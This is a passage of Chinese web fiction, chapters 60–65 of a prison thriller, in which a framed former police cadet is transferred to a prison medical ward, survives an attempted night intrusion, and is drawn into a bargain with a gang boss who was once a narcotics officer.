转身时,林燃看到她耳根发红,手指紧紧攥着病历纸页。
委屈?心虚?
林燃收回目光,继续往前走。
医疗监区在监狱综合楼的侧翼,是一栋独立的三层小楼。
铁门比普通监区更厚重,门口有专门的岗亭。
林燃愣了一下,他隐约想起这医疗监区,同时还承担着精神病犯人康复矫治的责任!
精神病人一般无刑事责任能力,但是有两种情况下精神病人应当负刑事责任。
一是间歇性的精神病人在精神正常的时候犯罪。
二是尚未完全丧失辨认或者控制自己行为能力的精神病人犯罪。
应当负刑事责任的精神病人,在被判处刑罚后,既要接受教育改造,也要接受康复矫治。
因此,精神病犯的服刑场所极为特殊。
安保也比一般监区还严格!
自己被扔到这里,真的是被下了一步狠棋。
“林燃,新来的。”带路的狱警递过文件。
一个四十多岁、戴着黑框眼镜的管教接过文件扫了一眼,又抬眼打量林燃:“腿伤?”
“嗯。”
“能自己走吗?”
“能。”
铁门在身后沉重闭合。
医疗监区的走廊比三监区更窄,墙壁刷着惨白的涂料。
顶端每隔十米有一盏昏暗的节能灯。
空气里弥漫着消毒水和某种陈年霉味混合的气息,隐约还能听见不知从哪个房间传来的、压抑的咳嗽声。
第六十章 107室
像走进了一家年久失修的老医院。
带路的狱警换成了医疗监区的人,一个四十多岁、脸上有麻子的中年男人。
他走路很慢,不时回头瞥一眼林燃的腿。
走廊两侧是编号的铁门,门上有巴掌大的观察窗。
经过其中一扇时,林燃余光瞥见窗后有一双眼睛正死死盯着外面,瞳孔涣散,嘴角挂着痴笑。
精神病区。
所幸,没有在这停留。
过了没多远。
麻脸狱警在一扇铁门前停下,掏出钥匙串。
“107室。四人间,你是第四个。”
门开了。
房间比312监区的小监舍略大,但陈设更简单:
四张铁架床,靠墙一个带锈迹的洗手池,一个蹲坑便池用半人高的水泥矮墙隔开。
窗户焊着更密的铁栏,玻璃外还有一层铁丝网。
三个人。
靠门那张床上坐着个五十多岁的男人,左腿膝盖以下是空的,裤管打了个结。
他正用一把小锉刀磨指甲,听到动静抬头看了一眼。
眼神浑浊,一边痴笑着望着两人,一边继续磨。
第二张床上躺着个瘦小的老头,背对着门。
肩膀随着呼吸剧烈起伏,发出拉风箱似的“嗬嗬”声。
第三张床靠窗,一个看起来二十出头的年轻犯人盘腿坐着,手里拿着一本破旧的《电工基础》,封面都卷了边。
他抬起头,眼睛却茫然发白,只在林燃身上停留了两秒,又视若无睹的绕过去,盯着走廊上的标语。
“你睡四床。”
麻脸狱警指了指最里面靠便池的那张空床,
“每天早晚各查一次房,按时服药,不准串门。有特殊情况按呼叫铃。
每天放风半小时——在楼后面小院子,有铁网围着。”
他把又一指墙上贴着的作息表和警告:
“医疗监区规矩,自己看。别惹事,这儿惹事直接转严管监区。”
说完转身就走,铁门重新锁上。
房间里安静下来。
“新来的?”五十多岁的断腿男人问,声音沙哑。
“嗯。”
林燃把行李放在空床上。
“我叫李爱国。”男人说,“他们叫我铁拐李。”
他指了指自己的断腿。
“车间机器压的。在这儿住了三年了,我想问工伤,狗日地说我们不属于工作,报不了……。”
铁拐李像是难得逮到生人说话,自顾自展开。
林燃点点头,没接茬,开始铺床。
对面床上躺着个人,背对着门口,听到动静也没转身,只是发出一阵急促的喘息声,像破风箱一样。
“那是老喘。”铁拐李低声说。
“哮喘、胃病、癌症,严重的时候喘不上气,在这儿吊着命。别吵他,他睡觉轻。”
林燃看向第三张床——靠墙的那年轻犯人。
“还有一个呢?”他问。
“小浙江。”
铁拐李磨完指甲,
““话少,整天不知道琢磨什么。”
铁拐李压低声音,“进来三个月,跟谁都不亲近。”
”他顿了顿,看着林燃,“你怎么进来的?打架?”
“腿伤。”
“看着不像。”
铁拐李眼睛眯起来。
“普通腿伤不会送到这儿来。医疗监区一半是快死的,一半是惹了事的。你是哪种?”
林燃没回答,只是解开裤腿,露出伤口。
铁拐李看了一眼,咂咂嘴:“骨裂了?是打架打的吧?年轻人就是火气旺。”
林燃懒得敷衍他,低头沉思。
医疗监区确实比三监区安静。
没有放风的喧哗,没有狱警的呵斥。
只有偶尔传来的咳嗽声、脚步声。
以及远处隐约的、像是有人在哼歌的调子——调子跑得厉害,听得人心里发毛。
六点半,铁门突然又被敲响。
“107,林燃!”
林燃放下饭盒,撑起身子。
门开了,是那麻脸狱警,手里拎着一个塑料袋。
“有人给你送东西。”麻脸狱警把塑料袋放在地上,“陈有仁送你的。”
“他叮嘱你,好好养伤,来日方长。”
麻脸狱警说这句话时,最一脸玩味的模样。
说完,关上门。
塑料袋是半透明的,能看到里面装着几个大红苹果。
林燃盯着塑料袋看了几秒,伸手拿过来,打开。
苹果是红富士,个头均匀,这都是硬通货。
但林燃知道。
挑衅。
明目张胆的挑衅。
告诉你我知道你在哪儿,告诉你我能把东西送进来,告诉你咱们的账还没完。
他拿起一个苹果,在囚服上擦了擦,咬了一口。
很甜。
“哟,还有水果?”铁拐李探过头,眼睛盯着苹果,“谁这么大方?”
“以前的‘朋友’。”林燃淡淡道,递给他一个。
小浙江从书里抬起头,看了塑料袋一眼,又看看林燃平静的脸,没说话。
老喘的哮鸣音突然加重,他翻了个身,面朝墙壁,肩膀微微发抖。
晚上八点五十,熄灯哨响。
医疗监区的灯是统一控制的,一瞬间,整个走廊陷入黑暗。只有每个房间门上的观察窗透进一点点走廊应急灯的绿光。
林燃躺在黑暗中,睁着眼睛。
左腿的疼痛一阵阵袭来,像潮水。
他默默数着自己的呼吸,一、二、三……
这是他前世漫长病榻生涯里,自己领悟的镇痛方法,分散注意力。
隔壁床的铁拐李已经打起呼噜。
老喘的呼吸声在黑暗中被放大,嘶啦嘶啦。
小浙江的床铺很安静,连翻身的声音都没有。
他脑子开始飞速运转。
苏念晚那个表情,到底是什么意思?
如果她真的背叛,或者被利用,那医务室这条线就断了。
医疗监区相对封闭,消息更难传递。
刀疤辉和周晓阳在312,秦墨在外面,自己在这儿——完全被分割开了。
笑面佛这一步棋,下得很准。
感受到危机。
林燃下意识手摸到枕头底下——空的。
小刀留在了312。
他需要新的武器。
更需要摸清这里的规矩。
他闭上眼睛,开始回忆进入医疗监区后的每一个细节:
狱警的表情、走廊的布局、107室三个室友的反应……
笑面佛能把东西送进来,说明医疗监区也有他的人。
或者,他买通了这里的狱警。
那么,接下来会是什么?
直接派人进来动手?
第六十一章 医疗区第一天
窗外,监狱高墙上的探照灯扫过,白光透过铁窗栅栏。
其中一道,正好落在林燃脸上。
林燃悚然间惊醒。
眯起眼睛,盯着那道光。
夜深了。
医疗监区沉入一片寂静。
只有风穿过铁窗缝隙时,发出呜呜的轻响,像是谁在低语。
望向门口。
门上的小窗外,走廊的灯光透进来,在地面投下一小片昏黄的光斑。
光斑里,似乎有什么东西动了一下。
是影子。
有人站在门外。
…………
门外那影子静立着,轮廓透过磨砂玻璃小窗,模糊得只剩一团深灰。
没有敲门,没有声响,只是停在那里。
林燃全身肌肉瞬间绷紧,左腿的疼痛被飙升的肾上腺素暂时压了下去。
他右手慢慢探到身侧,摸到那个冰凉坚硬的铝制饭盒——
这是眼下唯一能当武器的东西。
铁拐李的鼾声断了一下,翻了个身。
老喘的哮鸣音在黑暗里拉得又细又长。
“咔哒。”
极其轻微的一声。
不是门锁,更像是金属薄片刮过门缝的声音。
林燃屏住呼吸,盯着那扇门。
医疗监区的门锁是里外双重的,狱警从外面用钥匙开,里面则是一个简单的插销。
此刻,那插销正被某种东西从外部极其缓慢地、一点一点地拨动。
不是狱警。狱警不会这样鬼祟。
他攥紧了饭盒边缘,指关节发白。
腿伤让他无法迅速移动,只能等对方进来。
脑子里飞快地计算距离、角度、反击的方式——
饭盒砸向哪里能造成最大伤害?喉结?太阳穴?还是直接扣在脸上?
插销又挪动了一分。
就在这时——
“啊——!!!”
一声凄厉至极的尖叫猛地撕裂了走廊的寂静!
那声音离得不远,像是从隔壁或斜对门传来的,尖厉、扭曲、饱含着纯粹的恐惧,完全不似人声。
门外的影子瞬间僵住。
紧接着,杂乱的脚步声、呵斥声、金属碰撞声混成一团。
手电筒的光柱在昏暗的走廊乱闪。
“按住他!”
“针!快拿针!”
“妈的又发作了——”
混乱中,107门外的影子似乎迟疑了一瞬,随即迅速退去。
脚步声轻而急促,消失在走廊另一端。
插销“咔”一声落回原位。
林燃缓缓松开饭盒,掌心一层粘腻的冷汗。
隔壁的喧闹持续了几分钟,渐渐平息,只剩压抑的呜咽和狱警不耐烦的嘟囔。
走廊重新沉入那种绷紧的寂静里,仿佛刚才的插曲只是一场集体幻觉。
但他知道不是。
刚才门外有人。
目标很明确,就是这间107。
如果不是隔壁那个不知名的疯子恰好在那一刻发作,引来了巡夜的狱警和护工,那扇门很可能已经被打开了。
进来的是什么?刀子?磨尖的牙刷?还是仅仅是一双想把他拖进黑暗里的手?
他靠在墙上,听着自己心脏在胸腔里沉重地搏动。
医疗监区,并不比外面安全。
甚至,正因为这里病人多、情况杂,某些“意外”更容易被掩盖过去。
后半夜再无动静。
林燃才迷迷糊糊睡去。
梦里反反复复都是那条昏暗的走廊,和门外那片静止的阴影。
窗外的天色,开始泛白。
新的一天。
也是医疗监区的第一天。
早晨六点,哨音准时响起。
医疗监区的起床时间比普通监区晚半小时,但规矩一样严格。
铁拐李骂骂咧咧地爬起来,单腿跳着去洗漱。
小浙江悄无声息地滑下床铺。
早饭依旧是窝头咸菜。
林燃沉默地吃着,目光偶尔扫过门口。
门上的小窗空荡荡,只有清晨灰白的天光透进来。
八点左右,一个中年男医生来了,身后跟着个推着轮椅的护工。
“107林燃,去拍片子。”医生翻着病历夹,头也不抬。
林燃放下碗,挪下床。
护工把轮椅推过来,他摇摇头:“能走。”
“随你。”
医生无所谓,“跟着。”
去医务室要穿过大半个医疗监区。
走廊两侧的监舍门陆续打开,有犯人被搀扶着出来透气,有的坐在轮椅上眼神呆滞。
也有的独自靠在墙边,嘴里念念有词。
空气里消毒水味混着各种药膏和久病卧床的气味,并不好闻。
经过一道加厚的铁门时,林燃注意到门牌上写着“Ⅲ区观察室”。
铁门上方有个小小的观察窗,此刻窗后紧贴着一张惨白的脸。
眼睛瞪得极大,一眨不眨地盯着外面路过的人。
护工见怪不怪,快步走过。
林燃收回目光。
昨晚尖叫的,大概就是从那扇门后传来的。
拍片的过程很简短。
X光室在医务室隔壁,机器老旧,嗡鸣声很大。
片子要等下午才能洗出来。
从X光室出来,医生让他在走廊长椅上等着,自己拿着病历进了另一间诊室。
走廊里人来人往,有犯人也有穿白大褂的。
林燃靠着墙,左腿伸直,尽量减轻负担。
都说伤筋动骨一百天,但他感觉自己已经松快了很多,估计不久就痊愈了。
可问题在这里,自己并不能决定自己的去留……
这时,斜对面治疗室的门开了,两个人搀扶着一个犯人走出来。
那犯人个头很高,囚服袖子挽到手肘,露出的两条小臂肌肉结实,上面纹着些模糊的青色图案。
他走路有点瘸,左边眉骨到鬓角贴着一大块纱布,渗着点黄红色的药渍。
遮住了大半张脸,看不清模样,但林燃突然心头一震。
他好像认识!
是昨晚门外那个人?
不对。
体型不太像。而且这伤……
那高个犯人也看到了林燃。
他脚步顿了一下,搀扶他的人也跟着停下。
三人目光对上,高个犯人脸上没什么表情。
但眼神在林燃脸上停留了两秒,又扫过他打着绷带的左腿,然后几不可察地点了点头。
不是友善,更像是一种确认。
林燃目光扫过他小臂——文身里有关公像的轮廓。
他想起这人是谁了!
“北佬帮”的那个关公纹身的汉子!
接着,对方微微侧身,对搀扶他的人低声说了句什么。
那两人扶着他继续往前走,经过林燃坐的长椅时。
高个犯人脚下似乎绊了一下,身体一晃,右手状似无意地往林燃这边一甩——
一个揉得皱巴巴的烟盒纸团,轻轻掉在林燃脚边。
第六十二章 东北虎
纸团很小,混在灰尘里毫不显眼。
高个犯人被同伴扶稳,骂了句脏话,头也不回地走了。
林燃等他们拐过走廊,才慢慢弯下腰,捡起那个纸团。
手指捻开,劣质烟盒纸的内衬上,用铅笔歪歪扭扭写着一行字:
“放风区东角,废器械堆后,虎爷想见你。”
没有落款,没有时间。
但林燃认得那纹身——关公。
是拳台边那个为他说话、后来刀疤辉提过的北佬帮二当家,陈小龙。
虎爷,自然是“东北虎”赵大金。
林燃把纸团重新揉紧,攥在手心。
去,还是不去?
笑面佛刚送了“礼”,昨晚门外黑影来历不明,自己腿伤未愈,孤立无援。
北佬帮这时候递话,是雪中送炭,还是笑面佛借刀杀人的新把戏?
刀疤辉说过,笑面佛的人最近接触过北佬帮。
这“想见”,是想拉拢,还是想趁机把他引到监控死角,彻底解决?
他想起拳台上赵小龙那声仗义执言,想起当时这人眼里的那股子混不吝的硬气。
也想起和刀疤辉闲聊时提过的只言片语——东北虎赵大金,手黑。
但重个“信”字,监狱里几股势力,就属他那伙人最少背后捅刀子的事。
但这年头,监狱里,口碑能信几分?
手心微微出汗,纸团被浸得发软。
不去,无非是继续在这医疗监区当个活靶子,等笑面佛的下一次动作,或者等昨晚门外黑影的主人找到更好的机会。
去,至少有可能撕开一个口子——北佬帮如果真和笑面佛不是一条心,那这就是一股能借用的力。
即便有诈,提前知道了,总比懵懂着等刀子落下来强。
但去了很可能就是个死!
风险极大。
但他现在,还有什么不能赌的?
林燃撑着长椅扶手站起来,左腿一阵暗痛。
他咧了咧嘴,把那个皱巴巴的纸团塞进嘴里,嚼了几下,混着唾液,艰难地咽了下去。
纸浆粗糙,刮过喉咙。
他转身,一瘸一拐地朝来路走回去。
下午,片子结果出来,左腿胫骨骨裂,医生给他换了更厚实的夹板,叮嘱绝对静养。
林燃点头应着,心思早已不在腿上。
放风时间快到了。
医疗监区的放风时间安排在下午三点,比普通监区晚,时间也短,只有半小时。
放风区是个用铁丝网围起来的天井,不大。
水泥地上散落着几个锈蚀的单杠和双杠,墙角堆着些不知废弃了多久的医疗器械——
缺腿的担架、没了轮子的推车,还有几个锈成铁疙瘩的氧气瓶。
林燃左腿打着夹板,挪到天井边缘的墙根下,靠着墙坐下。
空气里有股灰尘和铁锈混合的味道。
放风的犯人不多,三三两两地聚着,有的在慢慢踱步,有的蹲在墙角发呆。
铁拐李在不远处跟另一个老犯人低声说着什么。
林燃的目光扫过东角。
那里确实堆着不少废器械,摞得比人还高。
后面是围墙的死角,从放风区入口看过去,视线完全被挡住。
是个谈话的好地方,也是个动手的好地方。
他看了眼墙上的电子钟,三点零七分。离放风结束还有十三分钟。
腿上的夹板箍得很紧,不方便活动。
林燃深吸一口气,撑着墙慢慢站起来,装作要活动腿脚,一瘸一拐地往单杠方向挪。
经过铁拐李身边时,老头抬起眼皮瞥了他一眼,没说话。
挪到单杠附近,林燃停下,扶着冰凉的铁杆喘气。
目光不动声色地往东角扫——废器械堆后面,似乎有人影晃动了一下。
又等了两分钟。
放风区入口的狱警正低头点烟,另一个在跟护工闲聊。
时机到了。
林燃突然弯腰,捂住肚子,脸上挤出痛苦的表情,嘴里“嘶”地抽了口冷气。
旁边的犯人看过来,他摆摆手,用口型说了句“肚子疼”,然后转身,一步一拖地朝着天井角落的厕所走去。
厕所门口没人。
他闪身进去,里面空荡荡的,只有小便池滴滴答答的水声。
厕所最里面有个小窗,装着铁栏杆,但窗台很宽。
昨天他就注意到了——窗台外侧的水泥沿有半脚宽,连着一段矮墙,能通到放风区东角背后的维修通道。
他踩上蹲坑边缘,双手抓住窗栏杆,用力一撑。
左腿瞬间剧痛,冷汗刷地冒出来。
他咬紧牙关,身体侧着从栏杆间隙挤出去,脚踩在窗台外沿上。
下面是两米多高的落差,地上堆着些碎石和枯草。
跳。
落地时左腿一软,整个人往前扑倒,手掌在碎石上擦出几道血痕。
他闷哼一声,爬起来,拍了拍身上的土,贴着墙根往东角挪。
维修通道很窄,堆满了杂物和废弃的建材。
空气中弥漫着霉味和老鼠屎的酸臭。林燃走得极慢,每一步都尽量放轻,耳朵竖着,捕捉周围的动静。
绕过一堆发黑的木板,前面就是废器械堆的背面。
光线被遮挡,这里显得格外阴暗。
一个人影蹲在翻倒的药品箱上,像只收拢翅膀落在枯枝上的鹰。
几乎要与锈蚀的金属融为一体。
但当你看向他时,又觉得那阴影在往他身上收拢——
不是他躲在暗处,是暗处自愿做了他的背景。
林燃停下。
眼前人身量不高,只有一米六可能都不到,甚至算得上精瘦。
囚服穿在身上有些空荡,袖口挽到手肘。
露出的两条小臂筋肉结实,但不过分粗壮,线条干净利落。
这和“东北虎”的外号截然相反。
但林燃知道他就是“东北虎”赵大金。
因为那股气。
杀气。
听到脚步声,赵大金回过头。
斜斜瞥了一眼,就自顾自低头捻烟。
他指间夹着半截自卷烟,没点,只是用拇指慢慢捻着烟纸边缘。
林燃到眼前时,赵大金才抬起眼。
那双眼睛不大,眼窝深,眼皮薄薄地压着。
瞳仁黑得有点过分,看人时不带什么情绪,眼神却沉甸甸的,直往下坠。
脸上有道疤,从左边眉骨斜劈到下颌。
但配着他那副身架,这疤不显狰狞,反倒像某种冷硬的装饰。
他目光扫过林燃的脸,在夹板上停了一瞬,又挪回来。
“来了。”
第六十三章 也是警察?
赵大金捻灭烟:“我欣赏你。拳台上那一下,像我们北边爷们。
但欣赏归欣赏,我得知道——你是想活着出去,还是死在这鬼地方?”
林燃没接话,看着他,仿佛这个问题不值得回答。
“笑面佛要你死,外面有人要你瞎。”
见林燃果然沉得住气,赵大金往废器械堆上一靠,金属发出沉闷的吱呀声。
他看似随意地继续分析起林燃的处境:
“医疗监区这步棋,是他把你从狼窝挪到鬼窝。
这儿看着清净,实际上比三监区更危险——
精神病犯哪天发了狂捅你一刀,狱方最多记个‘突发意外’。”
他顿了顿,又说:
“而且他找过我。”
“让你别管我的事?”林燃问。
“对。”赵大金咧嘴。
“两万买眼,也是他放的风。他想告诉所有人,你林燃是他砧板上的肉,谁敢碰就是跟他作对。”
“那你为什么还要见我?”
“因为我看不惯他那副假模假样。”赵大金笑容里带点狠劲。
“妈的,一个搞建材起家的混混,戴个佛珠就真当自己是佛爷了?
在东北,这种装腔作势的早让人卸了八条腿。”
他盯着林燃:“而且我查过你。运输毒品,刑期十年,一进来就干翻鳄老大,现在又废了猴子。
你不像普通犯人——太冷静,太能打,眼神里没那种亡命徒的戾气,倒像……”
“像什么?”
“像我们的人。”
赵大金说完,突然抬手,把囚服领口往下一扯——
锁骨下方,一道深褐色的旧疤斜着延伸进衣服里。
边缘不齐,像是被什么钝器硬生生撕开的。
“97年在云南挨的。”
他说,“跨境行动,被线人卖了,对面用砍柴刀劈的。缝了二十八针。”
林燃心里一震。
警察?
“以前是。”
赵大金像是看穿他的想法,“绥河市缉毒支队的,干了十二年。”
林燃没想到居然在这遇到一个“同行”,他一时间有些失神,又有些激动。
虽然只穿了几年警服,但是追求正义,当个好人是他从小的梦想。
现在眼前这“东北虎”居然说他也曾是警察!
这怎么不让林燃对赵大金心生亲近。
但很快,他脑袋里,一根弦突然一紧。
等下,这人怎么突然和自己说这个?
难道他已经知道自己警校生的身份!?
对!监狱里最恨的就是“条子”、“雷子”。
就算是一些警界败类脱了制服,进了里面。
也绝不会这么大摇大摆地承认自己过去的身份。
那等于是把自己放在众矢之的的位置。
可他怎么这么大刺刺的就和自己说这个?
只有一个很大的可能性:
就是“东北虎”已经知道了自己的底细!
故意说这些,就是想和自己拉近关系!
这就细思极恐了。
林燃的前警校生背景,虽然几个能接触档案的监狱高层知道,但犯人间应该是不知晓的。
如果“东北虎”把这个秘密说出去,那自己处境就比现在要危险几倍!
大部分犯人会仇视自己,也不会有人愿意自己亲近,受到的攻击、骚扰将数不胜数。
一点冷汗在背后沁出。
但他很快镇定下来。
不管这“东北虎”是不是有意说这些,来要胁、警告自己。
林燃都更加斟酌接下来的话语。
“你是‘条子’?那你怎么进来的?”
赵大金摸出半包皱巴巴的红塔山,叼上一根,烟雾在昏暗光线里缭绕:
“怎么进来的?栽赃。我盯上一个物流公司,怀疑他们用冻货柜运毒品。
上头突然让我停手,我没听,继续跟。
后来就在我车里搜出两公斤海洛因——说是我私藏的赃物。
证据链做得天衣无缝,审判只用了三个月,无期。”
烟灰掉在水泥地上,碎成灰白的一小撮。
听到这,林燃虽然面无表情。
但心里已经掀起惊涛骇浪!
如果说赵大金的前警察身份,只是让他有些认同感和亲近感。
那这“东北虎”现在说的这番遭遇。
可以说和自己如出一辙!
他也是被“自己人”陷害!?
如果他说的是真的的话,那……
“你……”
林燃忍不住就想多问两句,可赵大金很快就自顾自说下去。
“艹……当时我就觉得穿制服的没好人,进来之后,果然发现这地方比外面还黑。
本地犯人抱团欺负外省的,特别是我们东北来的,被当成肥羊宰。
我一开始没想拉帮结派,就想安安稳稳服刑,找机会申诉。”
他弹了弹烟灰。
“后来同监舍一个黑龙江的小伙,才十九岁,偷了管教一块表想换烟抽,被发现了。
管教把他按在便池里,呛得肺出血,没人敢拦。我看不过去,动了手。”
“然后就被打上了‘狠人’的标签。”
林燃接话。
“对。”赵大金点头。
“后来陆陆续续有东北老乡被欺负,找我出头。
打了几架,打出点名声。慢慢地,就成现在这样了。”
林燃看着他,眼神复杂。
他看向林燃:“我知道你在想什么——一个前警察,在监狱里拉帮结派,算什么玩意儿。
但我告诉你,在这地方,你不抱团,就是死路一条。
我拉‘北佬帮’,最初就是想给老乡们挣条活路,别让人当狗一样踩。后来人多了,才成了股势力。”
“笑面佛和码头帮能容你?”林燃问。
“容不下也得容。”
赵大金冷笑,“他们试过几次想吞了我,没啃动。
我这帮兄弟,别看都是外省的,但个个都是重刑犯,敢玩命。
笑面佛那套笑里藏刀,在我们这儿不好使。
码头帮倒是想拉拢我,但我嫌他们脏——
走私、洗钱、贩毒,什么钱都赚。”
他顿了顿,盯着林燃:
“但我不一样。我赵大金在这监狱里,有三条规矩:
一不碰毒,二不弄男孩子,三不出卖兄弟。
违了任何一条,我自己动手清理门户。”
这番话说得好,林燃差点就要点头,但两世的警惕心让他止住。
这话说得硬气,但在监狱里,漂亮话谁都会说。
林燃需要更实在的东西。
“你约我来,不是为了讲人生故事吧。”他说。
第六十四章 刺杀
赵大金笑了,把烟头扔在地上,用脚碾灭:
“爽快。那我直说——我想跟你合作。”
“合作什么?”
“我保你在医疗监区安全,你帮我做件事。”
赵大金压低声音,“我有个小弟,外号‘榔头’,七天前被关进Ⅲ区单独隔间。
说是得了怪病,全身溃烂、高烧,狱方不让见人。”
林燃想起昨天经过Ⅲ区时,铁门后那张紧贴观察窗的脸。
“你觉得不是病?”他问。
“绝对不是。”
赵大金眼神冷下来,“榔头身体壮得像头牛,不会突然生病,我怀疑是被人下毒了。”
“下毒?”林燃皱眉,医疗监区有这本事的人不多。
“你想要我查清楚他如果是病,什么病?
如果是毒,谁干的?证据在哪儿?”
林燃第一时间就想起苏念晚,难道这也是那个女人的手笔?
赵大金这明显是要为小弟出头了,那万一真是苏念晚,那自己要不要保她?怎么保……
正乱想间,却没想到赵大金却摇了摇头,冷笑一下:
“这监狱里,生死有命,对头下毒也不是怪事,我不需要你查证什么。”
林燃懵了一下,疑惑道:“那你需要我做什么?”
“我需要你想办法和榔头说上话,问他‘那东西在哪?’只要知道这个就行。”
“那东西?”
林燃抬头,赵大金眼里露出异样的笑。
他知道这“东北虎”不会解释这个问题。
果然。
“是什么你不用管,你就说是我派过来的,榔头知道我要什么。
如果他不肯说,你就让他想想她女儿,我相信……他会说的。”
说到这,赵大金狞笑了一下,脸上的刀疤跳的吓人。
林燃沉默片刻,大概明白了。
这“东北虎”也不像什么好人。
但事听起来不算太难。
可以谈。
林燃问为什么派他去。
赵大金看向林燃:“你是新人,腿上有伤,又在医疗监区,有办法进入单独隔间。
而我们的人,对方不会让靠近榔头。
而且你脑子够用——拳台上对付猴子那几下,不是光靠蛮力。”
“报酬呢?”林燃问得直接。
“两样。”
赵大金伸出两根手指,“第一,北佬帮全力保你,笑面佛再想动你,得先过我这关。
第二,事成之后,我给你一笔钱——具体数目看你拿到的东西值多少。但最少这个数。”
他比了个“五”的手势。
五千?还是五万?
林燃没问。
他知道现在问也没用,口头承诺在监狱里比纸还薄。
“三样。”
林燃加了一个要求。
“搞定后,你要帮我从医疗监区弄出来。”
“东北虎”看了看他认真的表情,答应下来。
“没问题,你什么时候能搞定?”
“我起码需要三天。”
他说,“观察医疗监区的环境,摸清人员流动规律。而且——”
他看着赵大金:“你得给我情报:像医疗监区里,哪些狱警、医生、护工是被收买的……
谁跟笑面佛走得近,谁跟码头帮有联系,什么办法可以进去Ⅲ区……”
赵大金盯着他看了几秒,忽然笑了:“你小子,比我想的还精。”
他从囚服内袋摸出个折成小方块的信纸,递给林燃:
“早就准备好了。但林燃,我得提醒你——
这份情报不是白拿的。你看了,就等于上了我的船。
我这人,只许成功,不许失败的,你懂吧。”
林燃接过信纸,没打开,直接塞进夹板内侧的缝隙里。
“成交。”
赵大金点头,转身要走,又停住:“还有件事——昨晚你门外有人,对吧?”
林燃心里一紧:“你知道?”
“医疗监区的事,瞒不过我。”
赵大金说,“是笑面佛手下的平头男。
他昨天下午自残胳膊,故意感染,混进了医疗监区。目的很明确,就是你。”
他顿了顿:“那小子手黑,你小心点。”
说完,他身形一闪,消失在废器械堆的阴影里。
林燃在原地站了几秒,左腿的疼痛提醒他该回去了。
他沿着来时的路往回走,每一步都尽量放轻。
维修通道里的霉味似乎更重了,墙角有老鼠窸窸窣窣的声响。
翻厕所窗户时,左腿猛地一抽——
骨裂处传来撕裂般的痛。他咬紧牙关,双手扒住窗台,身体侧着往里挤。
刚把上半身探进去,脚下突然一滑!
重心失控的瞬间,他本能地用手肘撑住窗台边缘,整个人挂在半空。
左腿悬空晃荡,剧痛让他眼前发黑。
就在这时,厕所隔间的门“吱呀”一声开了。
一个人影站在门口,背光,看不清脸。
但林燃认得那身形——平头,肩膀宽,站姿带着股混混特有的松垮。
正是前面提起的平头男。
“哟,这不是林燃吗?”
平头男笑了,声音不大,但在空旷的厕所里格外清晰。
“爬窗户呢?腿不方便还这么爱动?”
林燃没说话,双臂用力,把身体往上提。
平头男走近两步,站在隔间门口,刚好堵住出路。
他左臂打着绷带,吊在胸前,但右手插在囚服口袋里,鼓鼓囊囊的,像是揣着什么东西。
“佛爷让我带句话。”他盯着林燃。
“他说,医疗监区清净,适合养伤。让你好好待着,别到处乱跑。”
“说完了?”林燃问。
“还没。”平头男笑容淡下去。
“佛爷还说,你要是实在闲不住,他可以找点事给你做——比如,让你永远歇着。”
他右手从口袋里抽出来,指间夹着一截磨尖的塑料片——
像是从什么工具上掰下来的,边缘参差不齐,但尖头在昏暗光线下泛着冷光。
林燃后背抵着隔板,左腿使不上力,右手还扒着窗台。
这个姿势,几乎没法反抗。
平头男往前迈了一步,塑料片举起来,尖头对准林燃的喉咙:
“其实我觉得不用那么麻烦。你现在这样,我轻轻一下,你就——”
话没说完。
走廊里突然传来脚步声,紧接着是女人的喊声:
“107林燃!换药了!”
是苏念晚的声音。
平头男动作顿住,塑料片停在半空。
他回头看了眼厕所门口,又看向林燃,眼神里闪过一丝犹豫。
脚步声越来越近。
第六十五章 女人
平头男咬了咬牙,塑料片往回收,但没完全放下。
他凑近林燃,声音压得极低:
“我们还会见面的。”
说完,他转身拉开隔壁隔间的门,闪身进去,门轻轻合上。
几乎同时,苏念晚出现在厕所门口。
她穿着白大褂,手里端着换药盘,看到林燃半挂在窗台上的样子,愣了一下:
“你……在干什么?”
林燃松开手,整个人摔进隔间里,左腿着地,疼得他闷哼一声。
“腿麻了,活动一下。”
他扶着隔板站起来,脸色苍白。
苏念晚盯着他看了几秒,又扫了眼厕所里其他紧闭的隔间门,又看了他挂的窗台。
这厕所外面也只是其它监区的放风区,所以管制力度也不严,不明白林燃爬这个干嘛。
“回监舍。”
她说,语气不容置疑。
“现在换药。”
林燃一瘸一拐地跟着她走出厕所。
经过隔壁隔间时,他听到里面传来极其轻微的呼吸声。
平头男还在。
但苏念晚在,他不敢动。
走廊的灯光刺眼。
林燃跟在苏念晚身后,看着她白大褂下摆随着步伐轻轻摆动。
刚才那一瞬间,如果她没出现——
他不敢往下想。
跟着女医生到了处置室。
苏念晚还不知道自己无意中救了林燃一命。
正细心的替他换药。
她的手很稳。
碘伏棉球擦过伤口边缘,力道均匀,不松不紧。
消毒水的味道混着她身上极淡的栀子花香,在狭小的处置室里弥漫开。
凉意混着刺痛,林燃眉头都没皱一下。
夹板被拆开,左小腿肿得发亮,皮肤下是青紫交织的淤血,胫骨的位置凸起一道不自然的棱。
“骨裂没加重,但愈合很慢。”
她低声说,重新缠上绷带,“你活动太多了。”
“不动就是等死。”林燃说。
苏念晚手指顿了顿,没接话。
绷带一圈圈绕上去,勒紧,打结。
她收拾器械时,林燃靠在椅背上,目光落在她低垂的侧脸——
睫毛很长,鼻尖微微泛红,不知道是冷的还是别的什么。
林燃突然开口:
“医疗监区的调令,是你出的证明?”
声音不高,但在狭小的处置室里,每个字都像石子砸进静水。
苏念晚动作僵住了。
她背对着林燃,白大褂的肩胛骨微微耸起,过了几秒才说:
“不是我。”
“那是谁?”
“副监狱长彭振直接下的命令。”
她转过身,眼眶有点红,不是委屈,更像某种压抑的愤怒。
“医务室只是配合。我试着说过没必要转区……但他们没听。”
彭振。
这个名字第一次清晰跳进林燃脑海。
前世零碎的记忆拼图里,隐约有这个名字——
安江监狱的副监狱长,主管狱政和纪律。
确实有能力一句话把他扔进这鬼地方。
前世记忆里,这人一直躲在幕后,但病榻上的林燃,过得那么凄惨,很多事都诡异而不正常。
转院、用药、治疗都被人为的拖沓和延缓。
导致病情一直不见好转,肯定是有监狱管理层在其中作梗。
加上这一世。
狱侦科长谷彦君提过“上面有人施压”。
狱警师兄陈安暗示过“领导对你很有想法”。
原来是他!
林燃咬了咬牙,在心里的“复仇名单”上,重重刻下“彭振”两个字。
而苏念晚此时却不知道自己不自觉中,解答了林燃的一个重要疑惑。
她还沉湎在自己的情绪中。
“我也是逼于无奈。上面有人要你进来,我一张嘴能顶什么用?”
苏念晚声音更低了,带着点自嘲的颤音。
